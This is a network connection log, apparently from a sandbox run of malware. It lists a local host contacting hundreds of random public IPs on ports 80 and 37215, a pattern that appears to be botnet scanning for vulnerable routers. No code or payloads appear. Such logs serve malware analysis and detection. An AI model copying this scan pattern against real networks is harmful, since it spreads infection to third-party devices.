Jan 5, 2025 14:26:50.637713909 CET	56958	80	192.168.2.13	190.156.146.40
Jan 5, 2025 14:26:50.637717009 CET	56958	80	192.168.2.13	161.137.136.238
Jan 5, 2025 14:26:50.637722015 CET	80	56958	130.166.49.89	192.168.2.13
Jan 5, 2025 14:26:50.637727022 CET	56958	80	192.168.2.13	209.65.11.46
Jan 5, 2025 14:26:50.637732029 CET	80	56958	5.82.160.115	192.168.2.13
Jan 5, 2025 14:26:50.637739897 CET	56958	80	192.168.2.13	105.194.48.99
Jan 5, 2025 14:26:50.637742996 CET	80	56958	62.34.102.137	192.168.2.13
Jan 5, 2025 14:26:50.637753010 CET	80	56958	113.166.149.163	192.168.2.13
Jan 5, 2025 14:26:50.637756109 CET	56958	80	192.168.2.13	130.166.49.89
Jan 5, 2025 14:26:50.637757063 CET	56958	80	192.168.2.13	5.82.160.115
Jan 5, 2025 14:26:50.637768030 CET	80	56958	194.59.35.250	192.168.2.13
Jan 5, 2025 14:26:50.637772083 CET	56958	80	192.168.2.13	62.34.102.137
Jan 5, 2025 14:26:50.637778044 CET	80	56958	169.71.29.63	192.168.2.13
Jan 5, 2025 14:26:50.637778997 CET	56958	80	192.168.2.13	113.166.149.163
Jan 5, 2025 14:26:50.637789965 CET	80	56958	37.0.110.14	192.168.2.13
Jan 5, 2025 14:26:50.637799978 CET	56958	80	192.168.2.13	194.59.35.250
Jan 5, 2025 14:26:50.637808084 CET	56958	80	192.168.2.13	169.71.29.63
Jan 5, 2025 14:26:50.637816906 CET	80	56958	102.14.255.68	192.168.2.13
Jan 5, 2025 14:26:50.637824059 CET	56958	80	192.168.2.13	37.0.110.14
Jan 5, 2025 14:26:50.637834072 CET	80	56958	85.250.75.25	192.168.2.13
Jan 5, 2025 14:26:50.637845039 CET	80	56958	201.140.102.94	192.168.2.13
Jan 5, 2025 14:26:50.637855053 CET	80	56958	82.208.162.170	192.168.2.13
Jan 5, 2025 14:26:50.637860060 CET	56958	80	192.168.2.13	102.14.255.68
Jan 5, 2025 14:26:50.637862921 CET	56958	80	192.168.2.13	85.250.75.25
Jan 5, 2025 14:26:50.637866020 CET	80	56958	165.40.126.105	192.168.2.13
Jan 5, 2025 14:26:50.637876034 CET	56958	80	192.168.2.13	201.140.102.94
Jan 5, 2025 14:26:50.637877941 CET	80	56958	168.215.233.7	192.168.2.13
Jan 5, 2025 14:26:50.637881994 CET	56958	80	192.168.2.13	82.208.162.170
Jan 5, 2025 14:26:50.637887955 CET	80	56958	70.66.249.45	192.168.2.13
Jan 5, 2025 14:26:50.637897968 CET	80	56958	120.127.73.63	192.168.2.13
Jan 5, 2025 14:26:50.637901068 CET	56958	80	192.168.2.13	165.40.126.105
Jan 5, 2025 14:26:50.637907028 CET	56958	80	192.168.2.13	168.215.233.7
Jan 5, 2025 14:26:50.637909889 CET	80	56958	104.155.240.54	192.168.2.13
Jan 5, 2025 14:26:50.637922049 CET	56958	80	192.168.2.13	70.66.249.45
Jan 5, 2025 14:26:50.637927055 CET	80	56958	205.232.180.2	192.168.2.13
Jan 5, 2025 14:26:50.637933969 CET	56958	80	192.168.2.13	120.127.73.63
Jan 5, 2025 14:26:50.637937069 CET	80	56958	66.44.92.195	192.168.2.13
Jan 5, 2025 14:26:50.637943983 CET	56958	80	192.168.2.13	205.232.180.2
Jan 5, 2025 14:26:50.637944937 CET	56958	80	192.168.2.13	104.155.240.54
Jan 5, 2025 14:26:50.637948036 CET	80	56958	168.34.83.181	192.168.2.13
Jan 5, 2025 14:26:50.637959003 CET	80	56958	67.83.8.176	192.168.2.13
Jan 5, 2025 14:26:50.637964010 CET	56958	80	192.168.2.13	66.44.92.195
Jan 5, 2025 14:26:50.637969017 CET	80	56958	133.52.208.47	192.168.2.13
Jan 5, 2025 14:26:50.637970924 CET	56958	80	192.168.2.13	168.34.83.181
Jan 5, 2025 14:26:50.637979984 CET	80	56958	78.95.143.237	192.168.2.13
Jan 5, 2025 14:26:50.637990952 CET	80	56958	34.82.205.111	192.168.2.13
Jan 5, 2025 14:26:50.637995005 CET	56958	80	192.168.2.13	67.83.8.176
Jan 5, 2025 14:26:50.637999058 CET	56958	80	192.168.2.13	133.52.208.47
Jan 5, 2025 14:26:50.638003111 CET	80	56958	209.155.142.155	192.168.2.13
Jan 5, 2025 14:26:50.638012886 CET	56958	80	192.168.2.13	78.95.143.237
Jan 5, 2025 14:26:50.638016939 CET	56958	80	192.168.2.13	34.82.205.111
Jan 5, 2025 14:26:50.638030052 CET	56958	80	192.168.2.13	209.155.142.155
Jan 5, 2025 14:26:50.638211012 CET	80	56958	170.29.27.18	192.168.2.13
Jan 5, 2025 14:26:50.638222933 CET	80	56958	169.161.87.151	192.168.2.13
Jan 5, 2025 14:26:50.638232946 CET	80	56958	221.10.30.130	192.168.2.13
Jan 5, 2025 14:26:50.638243914 CET	56958	80	192.168.2.13	170.29.27.18
Jan 5, 2025 14:26:50.638243914 CET	56958	80	192.168.2.13	169.161.87.151
Jan 5, 2025 14:26:50.638243914 CET	80	56958	8.42.235.79	192.168.2.13
Jan 5, 2025 14:26:50.638256073 CET	80	56958	77.85.226.217	192.168.2.13
Jan 5, 2025 14:26:50.638266087 CET	80	56958	179.241.145.104	192.168.2.13
Jan 5, 2025 14:26:50.638267994 CET	56958	80	192.168.2.13	221.10.30.130
Jan 5, 2025 14:26:50.638267994 CET	56958	80	192.168.2.13	8.42.235.79
Jan 5, 2025 14:26:50.638278008 CET	80	56958	167.45.22.16	192.168.2.13
Jan 5, 2025 14:26:50.638287067 CET	56958	80	192.168.2.13	77.85.226.217
Jan 5, 2025 14:26:50.638288975 CET	80	56958	97.243.242.16	192.168.2.13
Jan 5, 2025 14:26:50.638299942 CET	56958	80	192.168.2.13	179.241.145.104
Jan 5, 2025 14:26:50.638299942 CET	80	56958	1.194.250.44	192.168.2.13
Jan 5, 2025 14:26:50.638308048 CET	56958	80	192.168.2.13	167.45.22.16
Jan 5, 2025 14:26:50.638314962 CET	80	56958	172.76.34.160	192.168.2.13
Jan 5, 2025 14:26:50.638323069 CET	56958	80	192.168.2.13	97.243.242.16
Jan 5, 2025 14:26:50.638326883 CET	80	56958	159.205.114.83	192.168.2.13
Jan 5, 2025 14:26:50.638330936 CET	56958	80	192.168.2.13	1.194.250.44
Jan 5, 2025 14:26:50.638344049 CET	56958	80	192.168.2.13	172.76.34.160
Jan 5, 2025 14:26:50.638348103 CET	80	56958	105.219.69.40	192.168.2.13
Jan 5, 2025 14:26:50.638356924 CET	56958	80	192.168.2.13	159.205.114.83
Jan 5, 2025 14:26:50.638359070 CET	80	56958	194.129.154.187	192.168.2.13
Jan 5, 2025 14:26:50.638371944 CET	37215	56446	197.109.214.106	192.168.2.13
Jan 5, 2025 14:26:50.638379097 CET	56958	80	192.168.2.13	194.129.154.187
Jan 5, 2025 14:26:50.638382912 CET	37215	56446	41.72.52.25	192.168.2.13
Jan 5, 2025 14:26:50.638382912 CET	56958	80	192.168.2.13	105.219.69.40
Jan 5, 2025 14:26:50.638391018 CET	56446	37215	192.168.2.13	197.109.214.106
Jan 5, 2025 14:26:50.638394117 CET	37215	56446	197.145.178.19	192.168.2.13
Jan 5, 2025 14:26:50.638405085 CET	37215	56446	197.111.122.37	192.168.2.13
Jan 5, 2025 14:26:50.638405085 CET	56446	37215	192.168.2.13	41.72.52.25
Jan 5, 2025 14:26:50.638415098 CET	37215	56446	156.5.107.224	192.168.2.13
Jan 5, 2025 14:26:50.638417959 CET	56446	37215	192.168.2.13	197.145.178.19
Jan 5, 2025 14:26:50.638427019 CET	37215	56446	156.71.154.10	192.168.2.13
Jan 5, 2025 14:26:50.638432026 CET	56446	37215	192.168.2.13	197.111.122.37
Jan 5, 2025 14:26:50.638437986 CET	37215	56446	197.35.252.236	192.168.2.13
Jan 5, 2025 14:26:50.638448954 CET	37215	56446	41.250.33.135	192.168.2.13
Jan 5, 2025 14:26:50.638453007 CET	56446	37215	192.168.2.13	156.5.107.224
Jan 5, 2025 14:26:50.638453007 CET	56446	37215	192.168.2.13	156.71.154.10
Jan 5, 2025 14:26:50.638461113 CET	37215	56446	197.129.210.81	192.168.2.13
Jan 5, 2025 14:26:50.638468027 CET	56446	37215	192.168.2.13	197.35.252.236
Jan 5, 2025 14:26:50.638472080 CET	37215	56446	197.9.127.241	192.168.2.13
Jan 5, 2025 14:26:50.638482094 CET	56446	37215	192.168.2.13	41.250.33.135
Jan 5, 2025 14:26:50.638484001 CET	37215	56446	41.228.103.104	192.168.2.13
Jan 5, 2025 14:26:50.638488054 CET	56446	37215	192.168.2.13	197.129.210.81
Jan 5, 2025 14:26:50.638494968 CET	37215	56446	197.56.235.104	192.168.2.13
Jan 5, 2025 14:26:50.638498068 CET	56446	37215	192.168.2.13	197.9.127.241
Jan 5, 2025 14:26:50.638506889 CET	37215	56446	41.188.43.225	192.168.2.13
Jan 5, 2025 14:26:50.638509989 CET	56446	37215	192.168.2.13	41.228.103.104
Jan 5, 2025 14:26:50.638516903 CET	37215	56446	156.121.255.27	192.168.2.13
Jan 5, 2025 14:26:50.638523102 CET	56446	37215	192.168.2.13	197.56.235.104
Jan 5, 2025 14:26:50.638529062 CET	37215	56446	197.11.73.44	192.168.2.13
Jan 5, 2025 14:26:50.638531923 CET	56446	37215	192.168.2.13	41.188.43.225
Jan 5, 2025 14:26:50.638540983 CET	56446	37215	192.168.2.13	156.121.255.27
Jan 5, 2025 14:26:50.638555050 CET	56446	37215	192.168.2.13	197.11.73.44
Jan 5, 2025 14:26:50.638798952 CET	37215	56446	197.172.19.204	192.168.2.13
Jan 5, 2025 14:26:50.638811111 CET	37215	56446	156.172.90.31	192.168.2.13
Jan 5, 2025 14:26:50.638822079 CET	37215	56446	41.232.33.186	192.168.2.13
Jan 5, 2025 14:26:50.638830900 CET	56446	37215	192.168.2.13	197.172.19.204
Jan 5, 2025 14:26:50.638833046 CET	37215	56446	41.239.219.20	192.168.2.13
Jan 5, 2025 14:26:50.638833046 CET	56446	37215	192.168.2.13	156.172.90.31
Jan 5, 2025 14:26:50.638843060 CET	37215	56446	156.22.45.98	192.168.2.13
Jan 5, 2025 14:26:50.638849020 CET	56446	37215	192.168.2.13	41.232.33.186
Jan 5, 2025 14:26:50.638859034 CET	56446	37215	192.168.2.13	41.239.219.20
Jan 5, 2025 14:26:50.638863087 CET	37215	56446	156.247.198.102	192.168.2.13
Jan 5, 2025 14:26:50.638875008 CET	37215	56446	41.248.129.218	192.168.2.13
Jan 5, 2025 14:26:50.638876915 CET	56446	37215	192.168.2.13	156.22.45.98
Jan 5, 2025 14:26:50.638886929 CET	37215	56446	41.157.111.21	192.168.2.13
Jan 5, 2025 14:26:50.638889074 CET	56446	37215	192.168.2.13	156.247.198.102
Jan 5, 2025 14:26:50.638896942 CET	56446	37215	192.168.2.13	41.248.129.218
Jan 5, 2025 14:26:50.638896942 CET	37215	56446	197.128.214.73	192.168.2.13
Jan 5, 2025 14:26:50.638909101 CET	37215	56446	41.63.187.195	192.168.2.13
Jan 5, 2025 14:26:50.638916016 CET	56446	37215	192.168.2.13	41.157.111.21
Jan 5, 2025 14:26:50.638921022 CET	37215	56446	156.17.202.88	192.168.2.13
Jan 5, 2025 14:26:50.638931990 CET	37215	56446	156.115.157.219	192.168.2.13
Jan 5, 2025 14:26:50.638936043 CET	56446	37215	192.168.2.13	197.128.214.73
Jan 5, 2025 14:26:50.638942003 CET	37215	56446	156.25.43.101	192.168.2.13
Jan 5, 2025 14:26:50.638943911 CET	56446	37215	192.168.2.13	41.63.187.195
Jan 5, 2025 14:26:50.638943911 CET	56446	37215	192.168.2.13	156.17.202.88
Jan 5, 2025 14:26:50.638953924 CET	37215	56446	197.62.113.250	192.168.2.13
Jan 5, 2025 14:26:50.638963938 CET	37215	56446	197.128.43.42	192.168.2.13
Jan 5, 2025 14:26:50.638967037 CET	56446	37215	192.168.2.13	156.115.157.219
Jan 5, 2025 14:26:50.638973951 CET	56446	37215	192.168.2.13	156.25.43.101
Jan 5, 2025 14:26:50.638974905 CET	37215	56446	156.14.85.71	192.168.2.13
Jan 5, 2025 14:26:50.638983011 CET	56446	37215	192.168.2.13	197.62.113.250
Jan 5, 2025 14:26:50.638986111 CET	37215	56446	41.200.180.158	192.168.2.13
Jan 5, 2025 14:26:50.638993025 CET	56446	37215	192.168.2.13	197.128.43.42
Jan 5, 2025 14:26:50.638998985 CET	37215	56446	156.118.252.101	192.168.2.13
Jan 5, 2025 14:26:50.639005899 CET	56446	37215	192.168.2.13	156.14.85.71
Jan 5, 2025 14:26:50.639008999 CET	56446	37215	192.168.2.13	41.200.180.158
Jan 5, 2025 14:26:50.639013052 CET	37215	56446	156.12.155.54	192.168.2.13
Jan 5, 2025 14:26:50.639023066 CET	56446	37215	192.168.2.13	156.118.252.101
Jan 5, 2025 14:26:50.639024019 CET	37215	56446	197.140.64.203	192.168.2.13
Jan 5, 2025 14:26:50.639034986 CET	37215	56446	156.46.238.26	192.168.2.13
Jan 5, 2025 14:26:50.639044046 CET	56446	37215	192.168.2.13	156.12.155.54
Jan 5, 2025 14:26:50.639045954 CET	37215	56446	41.119.224.112	192.168.2.13
Jan 5, 2025 14:26:50.639051914 CET	56446	37215	192.168.2.13	197.140.64.203
Jan 5, 2025 14:26:50.639056921 CET	37215	56446	197.245.78.138	192.168.2.13
Jan 5, 2025 14:26:50.639065981 CET	56446	37215	192.168.2.13	156.46.238.26
Jan 5, 2025 14:26:50.639065981 CET	56446	37215	192.168.2.13	41.119.224.112
Jan 5, 2025 14:26:50.639067888 CET	37215	56446	41.207.33.74	192.168.2.13
Jan 5, 2025 14:26:50.639081001 CET	37215	56446	197.200.187.215	192.168.2.13
Jan 5, 2025 14:26:50.639085054 CET	56446	37215	192.168.2.13	197.245.78.138
Jan 5, 2025 14:26:50.639091969 CET	37215	56446	197.135.9.86	192.168.2.13
Jan 5, 2025 14:26:50.639096022 CET	56446	37215	192.168.2.13	41.207.33.74
Jan 5, 2025 14:26:50.639101982 CET	37215	56446	41.212.8.178	192.168.2.13
Jan 5, 2025 14:26:50.639106989 CET	56446	37215	192.168.2.13	197.200.187.215
Jan 5, 2025 14:26:50.639116049 CET	37215	56446	41.207.103.249	192.168.2.13
Jan 5, 2025 14:26:50.639120102 CET	56446	37215	192.168.2.13	197.135.9.86
Jan 5, 2025 14:26:50.639120102 CET	56446	37215	192.168.2.13	41.212.8.178
Jan 5, 2025 14:26:50.639137983 CET	56446	37215	192.168.2.13	41.207.103.249
Jan 5, 2025 14:26:50.639300108 CET	37215	56446	197.23.180.165	192.168.2.13
Jan 5, 2025 14:26:50.639311075 CET	37215	56446	41.45.215.172	192.168.2.13
Jan 5, 2025 14:26:50.639331102 CET	56446	37215	192.168.2.13	197.23.180.165
Jan 5, 2025 14:26:50.639331102 CET	56446	37215	192.168.2.13	41.45.215.172
Jan 5, 2025 14:26:50.639343023 CET	37215	56446	41.140.140.125	192.168.2.13
Jan 5, 2025 14:26:50.639355898 CET	37215	56446	156.111.77.116	192.168.2.13
Jan 5, 2025 14:26:50.639365911 CET	37215	56446	41.33.176.2	192.168.2.13
Jan 5, 2025 14:26:50.639377117 CET	37215	56446	197.89.138.120	192.168.2.13
Jan 5, 2025 14:26:50.639379025 CET	56446	37215	192.168.2.13	41.140.140.125
Jan 5, 2025 14:26:50.639383078 CET	56446	37215	192.168.2.13	156.111.77.116
Jan 5, 2025 14:26:50.639389038 CET	37215	56446	197.46.147.9	192.168.2.13
Jan 5, 2025 14:26:50.639398098 CET	56446	37215	192.168.2.13	41.33.176.2
Jan 5, 2025 14:26:50.639400005 CET	37215	56446	41.139.69.113	192.168.2.13
Jan 5, 2025 14:26:50.639410973 CET	56446	37215	192.168.2.13	197.89.138.120
Jan 5, 2025 14:26:50.639411926 CET	37215	56446	41.217.195.200	192.168.2.13
Jan 5, 2025 14:26:50.639417887 CET	56446	37215	192.168.2.13	197.46.147.9
Jan 5, 2025 14:26:50.639424086 CET	37215	56446	156.61.225.102	192.168.2.13
Jan 5, 2025 14:26:50.639426947 CET	56446	37215	192.168.2.13	41.139.69.113
Jan 5, 2025 14:26:50.639442921 CET	56446	37215	192.168.2.13	41.217.195.200
Jan 5, 2025 14:26:50.639445066 CET	37215	56446	41.79.45.69	192.168.2.13
Jan 5, 2025 14:26:50.639455080 CET	56446	37215	192.168.2.13	156.61.225.102
Jan 5, 2025 14:26:50.639456987 CET	37215	56446	41.192.187.51	192.168.2.13
Jan 5, 2025 14:26:50.639468908 CET	37215	56446	197.242.27.27	192.168.2.13
Jan 5, 2025 14:26:50.639471054 CET	56446	37215	192.168.2.13	41.79.45.69
Jan 5, 2025 14:26:50.639480114 CET	37215	56446	197.121.158.76	192.168.2.13
Jan 5, 2025 14:26:50.639487028 CET	56446	37215	192.168.2.13	41.192.187.51
Jan 5, 2025 14:26:50.639491081 CET	37215	56446	156.232.125.189	192.168.2.13
Jan 5, 2025 14:26:50.639498949 CET	56446	37215	192.168.2.13	197.242.27.27
Jan 5, 2025 14:26:50.639503956 CET	37215	56446	156.72.202.209	192.168.2.13
Jan 5, 2025 14:26:50.639508009 CET	56446	37215	192.168.2.13	197.121.158.76
Jan 5, 2025 14:26:50.639517069 CET	37215	56446	41.99.140.119	192.168.2.13
Jan 5, 2025 14:26:50.639519930 CET	56446	37215	192.168.2.13	156.232.125.189
Jan 5, 2025 14:26:50.639528036 CET	37215	56446	41.206.15.171	192.168.2.13
Jan 5, 2025 14:26:50.639535904 CET	56446	37215	192.168.2.13	156.72.202.209
Jan 5, 2025 14:26:50.639539957 CET	37215	56446	156.109.70.183	192.168.2.13
Jan 5, 2025 14:26:50.639539957 CET	56446	37215	192.168.2.13	41.99.140.119
Jan 5, 2025 14:26:50.639552116 CET	37215	56446	41.12.109.78	192.168.2.13
Jan 5, 2025 14:26:50.639561892 CET	37215	56446	156.169.203.155	192.168.2.13
Jan 5, 2025 14:26:50.639568090 CET	56446	37215	192.168.2.13	156.109.70.183
Jan 5, 2025 14:26:50.639573097 CET	37215	56446	197.73.250.159	192.168.2.13
Jan 5, 2025 14:26:50.639575958 CET	56446	37215	192.168.2.13	41.206.15.171
Jan 5, 2025 14:26:50.639584064 CET	56446	37215	192.168.2.13	41.12.109.78
Jan 5, 2025 14:26:50.639585018 CET	37215	56446	197.144.30.68	192.168.2.13
Jan 5, 2025 14:26:50.639590979 CET	56446	37215	192.168.2.13	156.169.203.155
Jan 5, 2025 14:26:50.639595985 CET	56446	37215	192.168.2.13	197.73.250.159
Jan 5, 2025 14:26:50.639595985 CET	37215	56446	41.103.160.129	192.168.2.13
Jan 5, 2025 14:26:50.639607906 CET	37215	56446	156.12.126.38	192.168.2.13
Jan 5, 2025 14:26:50.639611959 CET	56446	37215	192.168.2.13	197.144.30.68
Jan 5, 2025 14:26:50.639620066 CET	37215	56446	156.248.134.237	192.168.2.13
Jan 5, 2025 14:26:50.639620066 CET	56446	37215	192.168.2.13	41.103.160.129
Jan 5, 2025 14:26:50.639631033 CET	37215	56446	156.211.74.4	192.168.2.13
Jan 5, 2025 14:26:50.639631033 CET	56446	37215	192.168.2.13	156.12.126.38
Jan 5, 2025 14:26:50.639642954 CET	56446	37215	192.168.2.13	156.248.134.237
Jan 5, 2025 14:26:50.639642954 CET	37215	56446	156.208.252.249	192.168.2.13
Jan 5, 2025 14:26:50.639661074 CET	56446	37215	192.168.2.13	156.211.74.4
Jan 5, 2025 14:26:50.639681101 CET	56446	37215	192.168.2.13	156.208.252.249
Jan 5, 2025 14:26:50.639714956 CET	37215	56446	156.48.145.127	192.168.2.13
Jan 5, 2025 14:26:50.639738083 CET	56446	37215	192.168.2.13	156.48.145.127
Jan 5, 2025 14:26:50.639873981 CET	37215	56446	41.125.13.222	192.168.2.13
Jan 5, 2025 14:26:50.639884949 CET	37215	56446	41.221.172.184	192.168.2.13
Jan 5, 2025 14:26:50.639895916 CET	37215	56446	197.34.108.106	192.168.2.13
Jan 5, 2025 14:26:50.639906883 CET	37215	56446	41.169.66.64	192.168.2.13
Jan 5, 2025 14:26:50.639909983 CET	56446	37215	192.168.2.13	41.221.172.184
Jan 5, 2025 14:26:50.639909983 CET	56446	37215	192.168.2.13	41.125.13.222
Jan 5, 2025 14:26:50.639918089 CET	37215	56446	156.139.237.89	192.168.2.13
Jan 5, 2025 14:26:50.639923096 CET	56446	37215	192.168.2.13	197.34.108.106
Jan 5, 2025 14:26:50.639936924 CET	56446	37215	192.168.2.13	41.169.66.64
Jan 5, 2025 14:26:50.639941931 CET	37215	56446	156.122.161.244	192.168.2.13
Jan 5, 2025 14:26:50.639954090 CET	37215	56446	41.234.53.109	192.168.2.13
Jan 5, 2025 14:26:50.639955997 CET	56446	37215	192.168.2.13	156.139.237.89
Jan 5, 2025 14:26:50.639964104 CET	37215	56446	156.194.254.209	192.168.2.13
Jan 5, 2025 14:26:50.639966965 CET	56446	37215	192.168.2.13	156.122.161.244
Jan 5, 2025 14:26:50.639972925 CET	56446	37215	192.168.2.13	41.234.53.109
Jan 5, 2025 14:26:50.639975071 CET	37215	56446	41.29.20.56	192.168.2.13
Jan 5, 2025 14:26:50.639986038 CET	37215	56446	41.193.220.164	192.168.2.13
Jan 5, 2025 14:26:50.639997005 CET	37215	56446	156.189.66.255	192.168.2.13
Jan 5, 2025 14:26:50.639996052 CET	56446	37215	192.168.2.13	156.194.254.209
Jan 5, 2025 14:26:50.640007019 CET	56446	37215	192.168.2.13	41.29.20.56
Jan 5, 2025 14:26:50.640010118 CET	37215	56446	41.2.239.89	192.168.2.13
Jan 5, 2025 14:26:50.640012026 CET	56446	37215	192.168.2.13	41.193.220.164
Jan 5, 2025 14:26:50.640022039 CET	37215	56446	156.139.119.56	192.168.2.13
Jan 5, 2025 14:26:50.640028954 CET	56446	37215	192.168.2.13	156.189.66.255
Jan 5, 2025 14:26:50.640042067 CET	56446	37215	192.168.2.13	41.2.239.89
Jan 5, 2025 14:26:50.640047073 CET	56446	37215	192.168.2.13	156.139.119.56
Jan 5, 2025 14:26:50.640033007 CET	37215	56446	156.120.28.7	192.168.2.13
Jan 5, 2025 14:26:50.640058994 CET	37215	56446	41.138.149.130	192.168.2.13
Jan 5, 2025 14:26:50.640069962 CET	37215	56446	197.56.140.205	192.168.2.13
Jan 5, 2025 14:26:50.640079021 CET	56446	37215	192.168.2.13	156.120.28.7
Jan 5, 2025 14:26:50.640080929 CET	37215	56446	156.3.144.223	192.168.2.13
Jan 5, 2025 14:26:50.640088081 CET	56446	37215	192.168.2.13	41.138.149.130
Jan 5, 2025 14:26:50.640093088 CET	37215	56446	41.84.90.186	192.168.2.13
Jan 5, 2025 14:26:50.640096903 CET	56446	37215	192.168.2.13	197.56.140.205
Jan 5, 2025 14:26:50.640103102 CET	37215	56446	156.156.71.59	192.168.2.13
Jan 5, 2025 14:26:50.640110970 CET	56446	37215	192.168.2.13	156.3.144.223
Jan 5, 2025 14:26:50.640115023 CET	37215	56446	197.103.10.205	192.168.2.13
Jan 5, 2025 14:26:50.640120983 CET	56446	37215	192.168.2.13	41.84.90.186
Jan 5, 2025 14:26:50.640125990 CET	37215	56446	197.178.140.1	192.168.2.13
Jan 5, 2025 14:26:50.640130997 CET	56446	37215	192.168.2.13	156.156.71.59
Jan 5, 2025 14:26:50.640139103 CET	37215	56446	197.17.127.137	192.168.2.13
Jan 5, 2025 14:26:50.640145063 CET	56446	37215	192.168.2.13	197.103.10.205
Jan 5, 2025 14:26:50.640149117 CET	56446	37215	192.168.2.13	197.178.140.1
Jan 5, 2025 14:26:50.640150070 CET	37215	56446	41.211.68.59	192.168.2.13
Jan 5, 2025 14:26:50.640160084 CET	56446	37215	192.168.2.13	197.17.127.137
Jan 5, 2025 14:26:50.640161991 CET	37215	56446	156.187.159.127	192.168.2.13
Jan 5, 2025 14:26:50.640172958 CET	37215	56446	156.47.179.169	192.168.2.13
Jan 5, 2025 14:26:50.640175104 CET	56446	37215	192.168.2.13	41.211.68.59
Jan 5, 2025 14:26:50.640182972 CET	37215	56446	156.210.236.89	192.168.2.13
Jan 5, 2025 14:26:50.640187025 CET	56446	37215	192.168.2.13	156.187.159.127
Jan 5, 2025 14:26:50.640194893 CET	37215	56446	197.253.88.231	192.168.2.13
Jan 5, 2025 14:26:50.640202999 CET	56446	37215	192.168.2.13	156.47.179.169
Jan 5, 2025 14:26:50.640211105 CET	56446	37215	192.168.2.13	156.210.236.89
Jan 5, 2025 14:26:50.640224934 CET	56446	37215	192.168.2.13	197.253.88.231
Jan 5, 2025 14:26:50.640413046 CET	37215	56446	197.144.41.55	192.168.2.13
Jan 5, 2025 14:26:50.640427113 CET	37215	56446	156.175.210.225	192.168.2.13
Jan 5, 2025 14:26:50.640438080 CET	37215	56446	41.254.196.35	192.168.2.13
Jan 5, 2025 14:26:50.640444994 CET	56446	37215	192.168.2.13	197.144.41.55
Jan 5, 2025 14:26:50.640446901 CET	56446	37215	192.168.2.13	156.175.210.225
Jan 5, 2025 14:26:50.640448093 CET	37215	56446	41.212.1.86	192.168.2.13
Jan 5, 2025 14:26:50.640459061 CET	37215	56446	41.253.47.168	192.168.2.13
Jan 5, 2025 14:26:50.640467882 CET	56446	37215	192.168.2.13	41.254.196.35
Jan 5, 2025 14:26:50.640470028 CET	37215	56446	156.102.44.89	192.168.2.13
Jan 5, 2025 14:26:50.640479088 CET	56446	37215	192.168.2.13	41.212.1.86
Jan 5, 2025 14:26:50.640481949 CET	37215	56446	41.100.140.31	192.168.2.13
Jan 5, 2025 14:26:50.640490055 CET	56446	37215	192.168.2.13	41.253.47.168
Jan 5, 2025 14:26:50.640492916 CET	37215	56446	156.198.199.206	192.168.2.13
Jan 5, 2025 14:26:50.640499115 CET	56446	37215	192.168.2.13	156.102.44.89
Jan 5, 2025 14:26:50.640506029 CET	37215	56446	197.243.171.135	192.168.2.13
Jan 5, 2025 14:26:50.640511990 CET	56446	37215	192.168.2.13	41.100.140.31
Jan 5, 2025 14:26:50.640517950 CET	37215	56446	156.137.221.135	192.168.2.13
Jan 5, 2025 14:26:50.640532017 CET	56446	37215	192.168.2.13	156.198.199.206
Jan 5, 2025 14:26:50.640537024 CET	56446	37215	192.168.2.13	197.243.171.135
Jan 5, 2025 14:26:50.640538931 CET	37215	56446	197.177.2.108	192.168.2.13
Jan 5, 2025 14:26:50.640543938 CET	56446	37215	192.168.2.13	156.137.221.135
Jan 5, 2025 14:26:50.640552044 CET	37215	56446	41.141.5.93	192.168.2.13
Jan 5, 2025 14:26:50.640562057 CET	37215	56446	41.100.74.36	192.168.2.13
Jan 5, 2025 14:26:50.640569925 CET	56446	37215	192.168.2.13	197.177.2.108
Jan 5, 2025 14:26:50.640573978 CET	37215	56446	41.135.180.211	192.168.2.13
Jan 5, 2025 14:26:50.640578985 CET	56446	37215	192.168.2.13	41.141.5.93
Jan 5, 2025 14:26:50.640585899 CET	37215	56446	41.144.220.66	192.168.2.13
Jan 5, 2025 14:26:50.640589952 CET	56446	37215	192.168.2.13	41.100.74.36
Jan 5, 2025 14:26:50.640597105 CET	37215	56446	197.91.48.192	192.168.2.13
Jan 5, 2025 14:26:50.640598059 CET	56446	37215	192.168.2.13	41.135.180.211
Jan 5, 2025 14:26:50.640609026 CET	37215	56446	197.185.32.61	192.168.2.13
Jan 5, 2025 14:26:50.640616894 CET	56446	37215	192.168.2.13	41.144.220.66
Jan 5, 2025 14:26:50.640619993 CET	37215	56446	41.191.126.17	192.168.2.13
Jan 5, 2025 14:26:50.640623093 CET	56446	37215	192.168.2.13	197.91.48.192
Jan 5, 2025 14:26:50.640630960 CET	37215	56446	197.178.246.216	192.168.2.13
Jan 5, 2025 14:26:50.640640020 CET	56446	37215	192.168.2.13	197.185.32.61
Jan 5, 2025 14:26:50.640640974 CET	56446	37215	192.168.2.13	41.191.126.17
Jan 5, 2025 14:26:50.640640974 CET	37215	56446	156.240.139.111	192.168.2.13
Jan 5, 2025 14:26:50.640652895 CET	37215	56446	156.124.246.113	192.168.2.13
Jan 5, 2025 14:26:50.640655994 CET	56446	37215	192.168.2.13	197.178.246.216
Jan 5, 2025 14:26:50.640665054 CET	37215	56446	156.6.16.33	192.168.2.13
Jan 5, 2025 14:26:50.640667915 CET	56446	37215	192.168.2.13	156.240.139.111
Jan 5, 2025 14:26:50.640676022 CET	37215	56446	197.2.17.5	192.168.2.13
Jan 5, 2025 14:26:50.640676975 CET	56446	37215	192.168.2.13	156.124.246.113
Jan 5, 2025 14:26:50.640687943 CET	37215	56446	41.165.174.229	192.168.2.13
Jan 5, 2025 14:26:50.640697956 CET	37215	56446	156.132.43.143	192.168.2.13
Jan 5, 2025 14:26:50.640697956 CET	56446	37215	192.168.2.13	156.6.16.33
Jan 5, 2025 14:26:50.640702009 CET	56446	37215	192.168.2.13	197.2.17.5
Jan 5, 2025 14:26:50.640710115 CET	37215	56446	41.80.122.123	192.168.2.13
Jan 5, 2025 14:26:50.640714884 CET	56446	37215	192.168.2.13	41.165.174.229
Jan 5, 2025 14:26:50.640722990 CET	37215	56446	197.235.204.237	192.168.2.13
Jan 5, 2025 14:26:50.640727997 CET	56446	37215	192.168.2.13	156.132.43.143
Jan 5, 2025 14:26:50.640736103 CET	37215	56446	156.123.13.211	192.168.2.13
Jan 5, 2025 14:26:50.640737057 CET	56446	37215	192.168.2.13	41.80.122.123
Jan 5, 2025 14:26:50.640753031 CET	56446	37215	192.168.2.13	197.235.204.237
Jan 5, 2025 14:26:50.640772104 CET	56446	37215	192.168.2.13	156.123.13.211
Jan 5, 2025 14:26:50.640866995 CET	37215	56446	156.1.63.222	192.168.2.13
Jan 5, 2025 14:26:50.640878916 CET	37215	56446	41.176.227.42	192.168.2.13
Jan 5, 2025 14:26:50.640889883 CET	37215	56446	197.226.142.225	192.168.2.13
